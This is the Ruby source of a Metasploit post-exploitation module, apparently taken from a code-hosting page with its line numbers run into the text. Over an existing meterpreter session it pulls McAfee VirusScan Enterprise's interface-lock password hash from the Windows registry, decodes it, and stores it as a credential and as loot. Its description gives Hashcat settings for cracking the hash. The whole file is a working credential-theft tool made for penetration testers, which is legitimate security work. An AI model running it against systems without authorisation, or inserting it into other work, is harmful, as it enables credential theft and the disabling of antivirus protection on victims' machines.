Path: blob/master/modules/post/windows/gather/credentials/mcafee_vse_hashdump.rb
19593 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Auxiliary::Report8include Msf::Post::Windows::UserProfiles910VERSION_5 = Rex::Version.new('5.0')11VERSION_6 = Rex::Version.new('6.0')12VERSION_8 = Rex::Version.new('8.0')13VERSION_9 = Rex::Version.new('9.0')1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'McAfee Virus Scan Enterprise Password Hashes Dump',20'Description' => %q{21This module extracts the password hash from McAfee Virus Scan Enterprise (VSE)22used to lock down the user interface. Hashcat supports cracking this type of23hash using hash type sha1($salt.unicode($pass)) (-m 140) and a hex salt24(--hex-salt) of 01000f000d003300 (unicode "\x01\x0f\x0d\x33"). A dynamic25format is available for John the Ripper at the referenced URL.26},27'License' => MSF_LICENSE,28'Author' => [29'Mike Manzotti <mike.manzotti[at]dionach.com>', # Metasploit module30'Maurizio inode Agazzini' # original research31],32'References' => [33['URL', 'https://www.dionach.com/blog/disabling-mcafee-on-access-scanning']34],35'Platform' => [ 'win' ],36'SessionTypes' => [ 'meterpreter' ],37'Notes' => {38'Stability' => [CRASH_SAFE],39'SideEffects' => [],40'Reliability' => []41}42)43)44end4546def run47hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']48print_status("Looking for McAfee VSE password hashes on #{hostname} (#{session.session_host}) ...")4950vse_keys = enum_vse_keys51if vse_keys.empty?52vprint_error('McAfee VSE not installed or insufficient permissions')53return54end5556hashes_and_versions = extract_hashes_and_versions(vse_keys)57if hashes_and_versions.empty?58vprint_error('No McAfee VSE hashes extracted')59return60end61process_hashes_and_versions(hashes_and_versions)62end6364def enum_vse_keys65vprint_status('Enumerating McAfee VSE installations')66keys = []67[68'HKLM\\Software\\Wow6432Node\\McAfee\\DesktopProtection', # 64-bit69'HKLM\\Software\\McAfee\\DesktopProtection' # 32-bit70].each do |key|71subkeys = registry_enumkeys(key)72keys << key unless subkeys.nil?73end74keys75end7677def extract_hashes_and_versions(keys)78vprint_status("Attempting to extract hashes from #{keys.size} McAfee VSE installations")79hash_map = {}80keys.each do |key|81hash = registry_getvaldata(key, 'UIPEx')82if hash.empty?83vprint_error("No McAfee VSE password hash found in #{key}")84next85end8687version = registry_getvaldata(key, 'szProductVer')88if version.empty?89vprint_error("No McAfee VSE version key found in #{key}")90next91end92hash_map[hash] = Rex::Version.new(version)93end94hash_map95end9697def process_hashes_and_versions(hashes_and_versions)98hashes_and_versions.each do |hash, version|99if version >= VERSION_5 && version < VERSION_6100hashtype = 'md5u'101version_name = 'v5'102else103# Base64 decode hash104hash = Rex::Text.to_hex(Rex::Text.decode_base64(hash), '')105hashtype = 'dynamic_1405'106version_name = 'v8'107unless version >= VERSION_8 && version < VERSION_9108print_warning("Unknown McAfee VSE version #{version} - Assuming v8")109end110end111112print_good("McAfee VSE #{version_name} (#{hashtype}) password hash: #{hash}")113114credential_data = {115post_reference_name: refname,116origin_type: :session,117private_type: :nonreplayable_hash,118private_data: hash,119session_id: session_db_id,120jtr_format: hashtype,121workspace_id: myworkspace_id122}123124create_credential(credential_data)125126# Store McAfee password hash as loot127loot_path = store_loot('mcafee.hash', 'text/plain', session, "mcafee:#{hash}", 'mcafee_hashdump.txt', 'McAfee Password Hash')128print_good("McAfee VSE password hash saved in: #{loot_path}")129end130end131end132133134